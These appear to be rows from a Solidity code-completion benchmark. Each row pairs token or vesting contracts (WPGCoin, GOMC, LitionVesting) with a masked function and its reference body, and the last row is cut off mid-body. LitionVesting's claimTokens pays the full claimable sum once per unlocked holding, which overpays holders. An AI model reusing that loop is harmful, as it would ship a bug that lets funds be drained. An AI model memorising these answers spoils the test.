function freezeAccount(address target, bool freeze) public onlyOwner{<FILL_FUNCTION_BODY> }
function setPrices(uint256 newSellPrice, uint256 newBuyPrice) public onlyOwner {
sellPrice = newSellPrice;
buyPrice = newBuyPrice;
}
function buy() public payable {
//uint amount = msg.value / buyPrice;
uint amount = msg.value.div(buyPrice);
_transfer(this, msg.sender, amount);
}
function sell(uint256 amount) public {
address myAddress = this;
require(myAddress.balance >= amount * sellPrice, "Account balance is too small for buying");
_transfer(msg.sender, this, amount);
msg.sender.transfer(amount * sellPrice);
}
function getBalanceOf(address _address) public view returns (uint) {
return balanceOf[_address];
}
} | contract WPGCoin is owned, WPGBaseCoin {
uint256 public sellPrice;
uint256 public buyPrice;
mapping (address => bool) public frozenAccount;
event FrozenFunds(address target, bool frozen);
constructor (uint256 initialSupply, string tokenName, string tokenSymbol) WPGBaseCoin(initialSupply, tokenName, tokenSymbol) public {
}
function _transfer(address _from, address _to, uint _value) internal {
require (_to != 0x0, "Do not send to 0x0");
require (balanceOf[_from] >= _value, "Sender balance is too small");
require (balanceOf[_to] + _value >= balanceOf[_to], "balanceOf[_to] Overflow Error");
require(!frozenAccount[_from], "From Account is Frozen");
require(!frozenAccount[_to], "To Acoount is Frozen");
//balanceOf[_from] -= _value;
balanceOf[_from] = balanceOf[_from].sub(_value);
//balanceOf[_to] += _value;
balanceOf[_to] = balanceOf[_to].add(_value);
emit Transfer(_from, _to, _value);
}
function mintToken(address target, uint256 mintedAmount) public onlyOwner {
//balanceOf[target] += mintedAmount;
balanceOf[target] = balanceOf[target].add(mintedAmount);
//totalSupply += mintedAmount;
totalSupply = totalSupply.add(mintedAmount);
emit Transfer(0, this, mintedAmount);
emit Transfer(this, target, mintedAmount);
}
<FILL_FUNCTION>
function setPrices(uint256 newSellPrice, uint256 newBuyPrice) public onlyOwner {
sellPrice = newSellPrice;
buyPrice = newBuyPrice;
}
function buy() public payable {
//uint amount = msg.value / buyPrice;
uint amount = msg.value.div(buyPrice);
_transfer(this, msg.sender, amount);
}
function sell(uint256 amount) public {
address myAddress = this;
require(myAddress.balance >= amount * sellPrice, "Account balance is too small for buying");
_transfer(msg.sender, this, amount);
msg.sender.transfer(amount * sellPrice);
}
function getBalanceOf(address _address) public view returns (uint) {
return balanceOf[_address];
}
} |
frozenAccount[target] = freeze;
emit FrozenFunds(target, freeze);
| function freezeAccount(address target, bool freeze) public onlyOwner | function freezeAccount(address target, bool freeze) public onlyOwner |
47504 | GOMC | transfer | contract GOMC {
using SafeMath for uint256;
string public constant name = "GGOOUMCHAIN Token";
string public constant symbol = "GOMC";
uint8 public constant decimals = 18;
uint256 private constant INITIAL_SUPPLY = 1e9;
uint256 public constant totalSupply = INITIAL_SUPPLY * 10 ** uint256(decimals);
address public constant wallet = 0x873feD29d4cFcCB1E4919e98DEA88b2725B15C33;
mapping(address => uint256) internal balances;
mapping (address => mapping (address => uint256)) internal allowed;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
/**
* @dev Constructor.
*/
constructor() public {
balances[wallet] = totalSupply;
emit Transfer(address(0), wallet, totalSupply);
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {<FILL_FUNCTION_BODY> }
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
require(_spender != address(0));
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* Emits an Approval event.
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseAllowance(address _spender, uint256 _addedValue) public returns (bool) {
require(_spender != address(0));
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* Emits an Approval event.
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseAllowance(address _spender, uint256 _subtractedValue) public returns (bool) {
require(_spender != address(0));
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].sub(_subtractedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
} | contract GOMC {
using SafeMath for uint256;
string public constant name = "GGOOUMCHAIN Token";
string public constant symbol = "GOMC";
uint8 public constant decimals = 18;
uint256 private constant INITIAL_SUPPLY = 1e9;
uint256 public constant totalSupply = INITIAL_SUPPLY * 10 ** uint256(decimals);
address public constant wallet = 0x873feD29d4cFcCB1E4919e98DEA88b2725B15C33;
mapping(address => uint256) internal balances;
mapping (address => mapping (address => uint256)) internal allowed;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
/**
* @dev Constructor.
*/
constructor() public {
balances[wallet] = totalSupply;
emit Transfer(address(0), wallet, totalSupply);
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
<FILL_FUNCTION>
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
require(_spender != address(0));
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* Emits an Approval event.
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseAllowance(address _spender, uint256 _addedValue) public returns (bool) {
require(_spender != address(0));
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* Emits an Approval event.
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseAllowance(address _spender, uint256 _subtractedValue) public returns (bool) {
require(_spender != address(0));
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].sub(_subtractedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
} |
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
| function transfer(address _to, uint256 _value) public returns (bool) | /**
* @dev Transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) |
36895 | LitionVesting | _initializeInvestorsAdvisors2 | contract LitionVesting is Ownable {
using SafeMath for uint256;
TokenInterface public token;
address[] public holders;
mapping (address => Holding[]) public holdings;
struct Holding {
uint256 totalTokens;
uint256 unlockDate;
bool claimed;
}
bool teamEcosystemCommunityInitialized = false;
bool investorsAdvisors1Initialized = false;
bool investorsAdvisors2Initialized = false;
// Events
event TokensReleased(address _to, uint256 _tokensReleased);
// Dates
uint256 april_01_2021 = 1617228000;
uint256 july_15_2020 = 1594764000;
uint256 october_15_2020 = 1602712800;
uint256 january_15_2021 = 1610665200;
uint256 april_15_2021 = 1618437600;
uint256 july_15_2021 = 1626300000;
uint256 june_30_2020 = 1593468000;
uint256 december_31_2020 = 1609369200;
uint256 june_30_2021 = 1625004000;
uint256 december_31_2021 = 1640905200;
// Wallets
address teamWallet = 0x80BCd5a881A159d84521c8d06ab2c10edc486341;
address ecosystemWallet = 0x25a13Edb1651DC729691134dB3a450f5D94292e9;
address communityWallet = 0xA443e7c9EB6F0855eD237817CFbC2D74b87F60Fd;
address investor_1_Wallet = 0xfe568f98dF64e7B49050FfE810D9f78952bb4f92;
address investor_2_Wallet = 0x47C2F58aC01770e4bbeF401FDde1821c370BF5b0;
address investor_3_Wallet = 0xeea95625332612fdbAB0713417d09e900028D9Fd;
address investor_4_Wallet = 0xa9053549B32Ea35daf4999212d8Cb9f7b4ce3A7B;
address investor_5_Wallet = 0xBf16D4B69619FbbeB878bb2D86c081aF1fc127b6;
address investor_6_Wallet = 0xCcbc8e2713b96CC821bDdb74b6D71acd7d29c172;
address investor_7_Wallet = 0x8121f802237A70C8D1220220D6B55786a436B78d;
address investor_8_Wallet = 0x3f19FC15a62De71eaf5E8003c176f16b3c99822C;
address investor_9_Wallet = 0xA579672BD4044f4f6C3502e571e370ECadeC9258;
address investor_10_Wallet = 0x710a630B2409f3f702939FEAB09512c07eD140Ef;
address investor_11_Wallet = 0x88FA0266C1036f52D20366a0203f9b3782CF794B;
address investor_12_Wallet = 0xE1ED0F1a13515552fe0d5f779cCD56DB30f6DBa2;
address investor_13_Wallet = 0x763c7C7Bf6b39FC5062E6FB8fd287dd3a3CF5f55;
address investor_14_Wallet = 0x92cfdcEEb276a6Bc2f13B6907CD8E6aC245dD0FE;
address investor_15_Wallet = 0xA21880528906dd770e22db5Bb1E2835fd693d8D8;
address investor_16_Wallet = 0x7E3ace45Ffe3b6b7E5815057A4e29E6e18d6dD19;
address investor_17_Wallet = 0xD1d4c1c16aEb26528D731dDB54Bb0Bff9608b6ca;
address investor_18_Wallet = 0x8B4D7019c40084Ceb95a7B6FA6880312CF78be6a;
address investor_19_Wallet = 0x055c484fF3592211eC2DA416edF9eAf900767E35;
address investor_20_Wallet = 0x8f34031645D5609D0898e80566AFad1182232B63;
address investor_21_Wallet = 0xEF4F09580673910d9FdcE1bc8D26389DBB75C7a0;
address investor_22_Wallet = 0xa27A3A45Ed3218506c9d825990C80208DcEce99E;
function getVestingByBeneficiary(address _beneficiary, uint256 _index) external view returns (uint256 totalTokens, uint256 unlockDate, bool claimed) {
require(holdings[_beneficiary].length > _index, "The holding doesn't exist");
Holding memory holding = holdings[_beneficiary][_index];
totalTokens = holding.totalTokens;
unlockDate = holding.unlockDate;
claimed = holding.claimed;
}
function getTotalVestingsByBeneficiary(address _beneficiary) external view returns (uint256) {
return holdings[_beneficiary].length;
}
function getTotalToClaimNowByBeneficiary(address _beneficiary) public view returns(uint256) {
uint256 total = 0;
for (uint256 i = 0; i < holdings[_beneficiary].length; i++) {
Holding memory holding = holdings[_beneficiary][i];
if (!holding.claimed && now > holding.unlockDate) {
total = total.add(holding.totalTokens);
}
}
return total;
}
function getTotalVested() public view returns(uint256) {
uint256 total = 0;
for (uint256 i = 0; i < holders.length; i++) {
for (uint256 j = 0; j < holdings[holders[i]].length; j++) {
Holding memory holding = holdings[holders[i]][j];
total = total.add(holding.totalTokens);
}
}
return total;
}
function getTotalClaimed() public view returns(uint256) {
uint256 total = 0;
for (uint256 i = 0; i < holders.length; i++) {
for (uint256 j = 0; j < holdings[holders[i]].length; j++) {
Holding memory holding = holdings[holders[i]][j];
if (holding.claimed) {
total = total.add(holding.totalTokens);
}
}
}
return total;
}
function claimTokens() external
{
uint256 tokensToClaim = getTotalToClaimNowByBeneficiary(msg.sender);
require(tokensToClaim > 0, "Nothing to claim");
for (uint256 i = 0; i < holdings[msg.sender].length; i++) {
Holding storage holding = holdings[msg.sender][i];
if (!holding.claimed && now > holding.unlockDate) {
holding.claimed = true;
require(token.transfer(msg.sender, tokensToClaim), "Insufficient balance in vesting contract");
emit TokensReleased(msg.sender, tokensToClaim);
}
}
}
function _addHolderToList(address _beneficiary) internal {
for (uint256 i = 0; i < holders.length; i++) {
if (holders[i] == _beneficiary) {
return;
}
}
holders.push(_beneficiary);
}
function _createVesting(address _beneficiary, uint256 _tokens, uint256 _unlockDate) internal {
_addHolderToList(_beneficiary);
Holding memory holding = Holding(_tokens, _unlockDate, false);
holdings[_beneficiary].push(holding);
}
constructor(address _token) public {
token = TokenInterface(_token);
}
function _initializeTeamEcosystemCommunity() public onlyOwner {
require(!teamEcosystemCommunityInitialized, "Already initialized");
teamEcosystemCommunityInitialized = true;
// Team: 2.950.000
_createVesting(teamWallet, 2950000000000000000000000, april_01_2021);
// Ecosystem: 8.080.000
_createVesting(ecosystemWallet, 2020000000000000000000000, july_15_2020);
_createVesting(ecosystemWallet, 2020000000000000000000000, october_15_2020);
_createVesting(ecosystemWallet, 2020000000000000000000000, january_15_2021);
_createVesting(ecosystemWallet, 2020000000000000000000000, april_15_2021);
// Community: 8.937.500
_createVesting(communityWallet, 1787500000000000000000000, july_15_2020);
_createVesting(communityWallet, 1787500000000000000000000, october_15_2020);
_createVesting(communityWallet, 1787500000000000000000000, january_15_2021);
_createVesting(communityWallet, 1787500000000000000000000, april_15_2021);
_createVesting(communityWallet, 1787500000000000000000000, july_15_2021);
}
// Investors and advisors: 18.793.753
function _initializeInvestorsAdvisors1() public onlyOwner {
require(!investorsAdvisors1Initialized, "Already initialized");
investorsAdvisors1Initialized = true;
// - Total: 850.000
_createVesting(investor_1_Wallet, 212500000000000000000000, june_30_2020);
_createVesting(investor_1_Wallet, 212500000000000000000000, december_31_2020);
_createVesting(investor_1_Wallet, 212500000000000000000000, june_30_2021);
_createVesting(investor_1_Wallet, 212500000000000000000000, december_31_2021);
// - Total: 2.125.000
_createVesting(investor_2_Wallet, 531250000000000000000000, june_30_2020);
_createVesting(investor_2_Wallet, 531250000000000000000000, december_31_2020);
_createVesting(investor_2_Wallet, 531250000000000000000000, june_30_2021);
_createVesting(investor_2_Wallet, 531250000000000000000000, december_31_2021);
// - Total: 255.000
_createVesting(investor_3_Wallet, 63750000000000000000000, june_30_2020);
_createVesting(investor_3_Wallet, 63750000000000000000000, december_31_2020);
_createVesting(investor_3_Wallet, 63750000000000000000000, june_30_2021);
_createVesting(investor_3_Wallet, 63750000000000000000000, december_31_2021);
// - Total: 2.656.250
_createVesting(investor_4_Wallet, 664062500000000000000000, june_30_2020);
_createVesting(investor_4_Wallet, 664062500000000000000000, december_31_2020);
_createVesting(investor_4_Wallet, 664062500000000000000000, june_30_2021);
_createVesting(investor_4_Wallet, 664062500000000000000000, december_31_2021);
// - Total: 295.139
_createVesting(investor_5_Wallet, 73784750000000000000000, june_30_2020);
_createVesting(investor_5_Wallet, 73784750000000000000000, december_31_2020);
_createVesting(investor_5_Wallet, 73784750000000000000000, june_30_2021);
_createVesting(investor_5_Wallet, 73784750000000000000000, december_31_2021);
// - Total: 5.568.611
_createVesting(investor_6_Wallet, 1392152750000000000000000, june_30_2020);
_createVesting(investor_6_Wallet, 1392152750000000000000000, december_31_2020);
_createVesting(investor_6_Wallet, 1392152750000000000000000, june_30_2021);
_createVesting(investor_6_Wallet, 1392152750000000000000000, december_31_2021);
// - Total: 42.500
_createVesting(investor_7_Wallet, 10625000000000000000000, june_30_2020);
_createVesting(investor_7_Wallet, 10625000000000000000000, december_31_2020);
_createVesting(investor_7_Wallet, 10625000000000000000000, june_30_2021);
_createVesting(investor_7_Wallet, 10625000000000000000000, december_31_2021);
// - Total: 807.353
_createVesting(investor_8_Wallet, 201838250000000000000000, june_30_2020);
_createVesting(investor_8_Wallet, 201838250000000000000000, december_31_2020);
_createVesting(investor_8_Wallet, 201838250000000000000000, june_30_2021);
_createVesting(investor_8_Wallet, 201838250000000000000000, december_31_2021);
// - Total: 850.000
_createVesting(investor_9_Wallet, 212500000000000000000000, june_30_2020);
_createVesting(investor_9_Wallet, 212500000000000000000000, december_31_2020);
_createVesting(investor_9_Wallet, 212500000000000000000000, june_30_2021);
_createVesting(investor_9_Wallet, 212500000000000000000000, december_31_2021);
// - Total: 425.000
_createVesting(investor_10_Wallet, 106250000000000000000000, june_30_2020);
_createVesting(investor_10_Wallet, 106250000000000000000000, december_31_2020);
_createVesting(investor_10_Wallet, 106250000000000000000000, june_30_2021);
_createVesting(investor_10_Wallet, 106250000000000000000000, december_31_2021);
}
function _initializeInvestorsAdvisors2() public onlyOwner {<FILL_FUNCTION_BODY> }
function _claimUnallocated( address _sendTo) external onlyOwner{
uint256 allTokens = token.balanceOf(address(this));
token.transfer(_sendTo, allTokens);
}
} | contract LitionVesting is Ownable {
using SafeMath for uint256;
TokenInterface public token;
address[] public holders;
mapping (address => Holding[]) public holdings;
struct Holding {
uint256 totalTokens;
uint256 unlockDate;
bool claimed;
}
bool teamEcosystemCommunityInitialized = false;
bool investorsAdvisors1Initialized = false;
bool investorsAdvisors2Initialized = false;
// Events
event TokensReleased(address _to, uint256 _tokensReleased);
// Dates
uint256 april_01_2021 = 1617228000;
uint256 july_15_2020 = 1594764000;
uint256 october_15_2020 = 1602712800;
uint256 january_15_2021 = 1610665200;
uint256 april_15_2021 = 1618437600;
uint256 july_15_2021 = 1626300000;
uint256 june_30_2020 = 1593468000;
uint256 december_31_2020 = 1609369200;
uint256 june_30_2021 = 1625004000;
uint256 december_31_2021 = 1640905200;
// Wallets
address teamWallet = 0x80BCd5a881A159d84521c8d06ab2c10edc486341;
address ecosystemWallet = 0x25a13Edb1651DC729691134dB3a450f5D94292e9;
address communityWallet = 0xA443e7c9EB6F0855eD237817CFbC2D74b87F60Fd;
address investor_1_Wallet = 0xfe568f98dF64e7B49050FfE810D9f78952bb4f92;
address investor_2_Wallet = 0x47C2F58aC01770e4bbeF401FDde1821c370BF5b0;
address investor_3_Wallet = 0xeea95625332612fdbAB0713417d09e900028D9Fd;
address investor_4_Wallet = 0xa9053549B32Ea35daf4999212d8Cb9f7b4ce3A7B;
address investor_5_Wallet = 0xBf16D4B69619FbbeB878bb2D86c081aF1fc127b6;
address investor_6_Wallet = 0xCcbc8e2713b96CC821bDdb74b6D71acd7d29c172;
address investor_7_Wallet = 0x8121f802237A70C8D1220220D6B55786a436B78d;
address investor_8_Wallet = 0x3f19FC15a62De71eaf5E8003c176f16b3c99822C;
address investor_9_Wallet = 0xA579672BD4044f4f6C3502e571e370ECadeC9258;
address investor_10_Wallet = 0x710a630B2409f3f702939FEAB09512c07eD140Ef;
address investor_11_Wallet = 0x88FA0266C1036f52D20366a0203f9b3782CF794B;
address investor_12_Wallet = 0xE1ED0F1a13515552fe0d5f779cCD56DB30f6DBa2;
address investor_13_Wallet = 0x763c7C7Bf6b39FC5062E6FB8fd287dd3a3CF5f55;
address investor_14_Wallet = 0x92cfdcEEb276a6Bc2f13B6907CD8E6aC245dD0FE;
address investor_15_Wallet = 0xA21880528906dd770e22db5Bb1E2835fd693d8D8;
address investor_16_Wallet = 0x7E3ace45Ffe3b6b7E5815057A4e29E6e18d6dD19;
address investor_17_Wallet = 0xD1d4c1c16aEb26528D731dDB54Bb0Bff9608b6ca;
address investor_18_Wallet = 0x8B4D7019c40084Ceb95a7B6FA6880312CF78be6a;
address investor_19_Wallet = 0x055c484fF3592211eC2DA416edF9eAf900767E35;
address investor_20_Wallet = 0x8f34031645D5609D0898e80566AFad1182232B63;
address investor_21_Wallet = 0xEF4F09580673910d9FdcE1bc8D26389DBB75C7a0;
address investor_22_Wallet = 0xa27A3A45Ed3218506c9d825990C80208DcEce99E;
function getVestingByBeneficiary(address _beneficiary, uint256 _index) external view returns (uint256 totalTokens, uint256 unlockDate, bool claimed) {
require(holdings[_beneficiary].length > _index, "The holding doesn't exist");
Holding memory holding = holdings[_beneficiary][_index];
totalTokens = holding.totalTokens;
unlockDate = holding.unlockDate;
claimed = holding.claimed;
}
function getTotalVestingsByBeneficiary(address _beneficiary) external view returns (uint256) {
return holdings[_beneficiary].length;
}
function getTotalToClaimNowByBeneficiary(address _beneficiary) public view returns(uint256) {
uint256 total = 0;
for (uint256 i = 0; i < holdings[_beneficiary].length; i++) {
Holding memory holding = holdings[_beneficiary][i];
if (!holding.claimed && now > holding.unlockDate) {
total = total.add(holding.totalTokens);
}
}
return total;
}
function getTotalVested() public view returns(uint256) {
uint256 total = 0;
for (uint256 i = 0; i < holders.length; i++) {
for (uint256 j = 0; j < holdings[holders[i]].length; j++) {
Holding memory holding = holdings[holders[i]][j];
total = total.add(holding.totalTokens);
}
}
return total;
}
function getTotalClaimed() public view returns(uint256) {
uint256 total = 0;
for (uint256 i = 0; i < holders.length; i++) {
for (uint256 j = 0; j < holdings[holders[i]].length; j++) {
Holding memory holding = holdings[holders[i]][j];
if (holding.claimed) {
total = total.add(holding.totalTokens);
}
}
}
return total;
}
function claimTokens() external
{
uint256 tokensToClaim = getTotalToClaimNowByBeneficiary(msg.sender);
require(tokensToClaim > 0, "Nothing to claim");
for (uint256 i = 0; i < holdings[msg.sender].length; i++) {
Holding storage holding = holdings[msg.sender][i];
if (!holding.claimed && now > holding.unlockDate) {
holding.claimed = true;
require(token.transfer(msg.sender, tokensToClaim), "Insufficient balance in vesting contract");
emit TokensReleased(msg.sender, tokensToClaim);
}
}
}
function _addHolderToList(address _beneficiary) internal {
for (uint256 i = 0; i < holders.length; i++) {
if (holders[i] == _beneficiary) {
return;
}
}
holders.push(_beneficiary);
}
function _createVesting(address _beneficiary, uint256 _tokens, uint256 _unlockDate) internal {
_addHolderToList(_beneficiary);
Holding memory holding = Holding(_tokens, _unlockDate, false);
holdings[_beneficiary].push(holding);
}
constructor(address _token) public {
token = TokenInterface(_token);
}
function _initializeTeamEcosystemCommunity() public onlyOwner {
require(!teamEcosystemCommunityInitialized, "Already initialized");
teamEcosystemCommunityInitialized = true;
// Team: 2.950.000
_createVesting(teamWallet, 2950000000000000000000000, april_01_2021);
// Ecosystem: 8.080.000
_createVesting(ecosystemWallet, 2020000000000000000000000, july_15_2020);
_createVesting(ecosystemWallet, 2020000000000000000000000, october_15_2020);
_createVesting(ecosystemWallet, 2020000000000000000000000, january_15_2021);
_createVesting(ecosystemWallet, 2020000000000000000000000, april_15_2021);
// Community: 8.937.500
_createVesting(communityWallet, 1787500000000000000000000, july_15_2020);
_createVesting(communityWallet, 1787500000000000000000000, october_15_2020);
_createVesting(communityWallet, 1787500000000000000000000, january_15_2021);
_createVesting(communityWallet, 1787500000000000000000000, april_15_2021);
_createVesting(communityWallet, 1787500000000000000000000, july_15_2021);
}
// Investors and advisors: 18.793.753
function _initializeInvestorsAdvisors1() public onlyOwner {
require(!investorsAdvisors1Initialized, "Already initialized");
investorsAdvisors1Initialized = true;
// - Total: 850.000
_createVesting(investor_1_Wallet, 212500000000000000000000, june_30_2020);
_createVesting(investor_1_Wallet, 212500000000000000000000, december_31_2020);
_createVesting(investor_1_Wallet, 212500000000000000000000, june_30_2021);
_createVesting(investor_1_Wallet, 212500000000000000000000, december_31_2021);
// - Total: 2.125.000
_createVesting(investor_2_Wallet, 531250000000000000000000, june_30_2020);
_createVesting(investor_2_Wallet, 531250000000000000000000, december_31_2020);
_createVesting(investor_2_Wallet, 531250000000000000000000, june_30_2021);
_createVesting(investor_2_Wallet, 531250000000000000000000, december_31_2021);
// - Total: 255.000
_createVesting(investor_3_Wallet, 63750000000000000000000, june_30_2020);
_createVesting(investor_3_Wallet, 63750000000000000000000, december_31_2020);
_createVesting(investor_3_Wallet, 63750000000000000000000, june_30_2021);
_createVesting(investor_3_Wallet, 63750000000000000000000, december_31_2021);
// - Total: 2.656.250
_createVesting(investor_4_Wallet, 664062500000000000000000, june_30_2020);
_createVesting(investor_4_Wallet, 664062500000000000000000, december_31_2020);
_createVesting(investor_4_Wallet, 664062500000000000000000, june_30_2021);
_createVesting(investor_4_Wallet, 664062500000000000000000, december_31_2021);
// - Total: 295.139
_createVesting(investor_5_Wallet, 73784750000000000000000, june_30_2020);
_createVesting(investor_5_Wallet, 73784750000000000000000, december_31_2020);
_createVesting(investor_5_Wallet, 73784750000000000000000, june_30_2021);
_createVesting(investor_5_Wallet, 73784750000000000000000, december_31_2021);
// - Total: 5.568.611
_createVesting(investor_6_Wallet, 1392152750000000000000000, june_30_2020);
_createVesting(investor_6_Wallet, 1392152750000000000000000, december_31_2020);
_createVesting(investor_6_Wallet, 1392152750000000000000000, june_30_2021);
_createVesting(investor_6_Wallet, 1392152750000000000000000, december_31_2021);
// - Total: 42.500
_createVesting(investor_7_Wallet, 10625000000000000000000, june_30_2020);
_createVesting(investor_7_Wallet, 10625000000000000000000, december_31_2020);
_createVesting(investor_7_Wallet, 10625000000000000000000, june_30_2021);
_createVesting(investor_7_Wallet, 10625000000000000000000, december_31_2021);
// - Total: 807.353
_createVesting(investor_8_Wallet, 201838250000000000000000, june_30_2020);
_createVesting(investor_8_Wallet, 201838250000000000000000, december_31_2020);
_createVesting(investor_8_Wallet, 201838250000000000000000, june_30_2021);
_createVesting(investor_8_Wallet, 201838250000000000000000, december_31_2021);
// - Total: 850.000
_createVesting(investor_9_Wallet, 212500000000000000000000, june_30_2020);
_createVesting(investor_9_Wallet, 212500000000000000000000, december_31_2020);
_createVesting(investor_9_Wallet, 212500000000000000000000, june_30_2021);
_createVesting(investor_9_Wallet, 212500000000000000000000, december_31_2021);
// - Total: 425.000
_createVesting(investor_10_Wallet, 106250000000000000000000, june_30_2020);
_createVesting(investor_10_Wallet, 106250000000000000000000, december_31_2020);
_createVesting(investor_10_Wallet, 106250000000000000000000, june_30_2021);
_createVesting(investor_10_Wallet, 106250000000000000000000, december_31_2021);
}
<FILL_FUNCTION>
function _claimUnallocated( address _sendTo) external onlyOwner{
uint256 allTokens = token.balanceOf(address(this));
token.transfer(_sendTo, allTokens);
}
} |
require(!investorsAdvisors2Initialized, "Already initialized");
investorsAdvisors2Initialized = true;
// - Total: 63.750
_createVesting(investor_11_Wallet, 15937500000000000000000, june_30_2020);
_createVesting(investor_11_Wallet, 15937500000000000000000, december_31_2020);
_createVesting(investor_11_Wallet, 15937500000000000000000, june_30_2021);
_createVesting(investor_11_Wallet, 15937500000000000000000, december_31_2021);
// - Total: 63.750
_createVesting(investor_12_Wallet, 15937500000000000000000, june_30_2020);
_createVesting(investor_12_Wallet, 15937500000000000000000, december_31_2020);
_createVesting(investor_12_Wallet, 15937500000000000000000, june_30_2021);
_createVesting(investor_12_Wallet, 15937500000000000000000, december_31_2021);
// - Total: 21.250
_createVesting(investor_13_Wallet, 5312500000000000000000, june_30_2020);
_createVesting(investor_13_Wallet, 5312500000000000000000, december_31_2020);
_createVesting(investor_13_Wallet, 5312500000000000000000, june_30_2021);
_createVesting(investor_13_Wallet, 5312500000000000000000, december_31_2021);
// - Total: 212.500
_createVesting(investor_14_Wallet, 53125000000000000000000, june_30_2020);
_createVesting(investor_14_Wallet, 53125000000000000000000, december_31_2020);
_createVesting(investor_14_Wallet, 53125000000000000000000, june_30_2021);
_createVesting(investor_14_Wallet, 53125000000000000000000, december_31_2021);
// - Total: 607.143
_createVesting(investor_15_Wallet, 151785750000000000000000, june_30_2020);
_createVesting(investor_15_Wallet, 151785750000000000000000, december_31_2020);
_createVesting(investor_15_Wallet, 151785750000000000000000, june_30_2021);
_createVesting(investor_15_Wallet, 151785750000000000000000, december_31_2021);
// - Total: 5.865
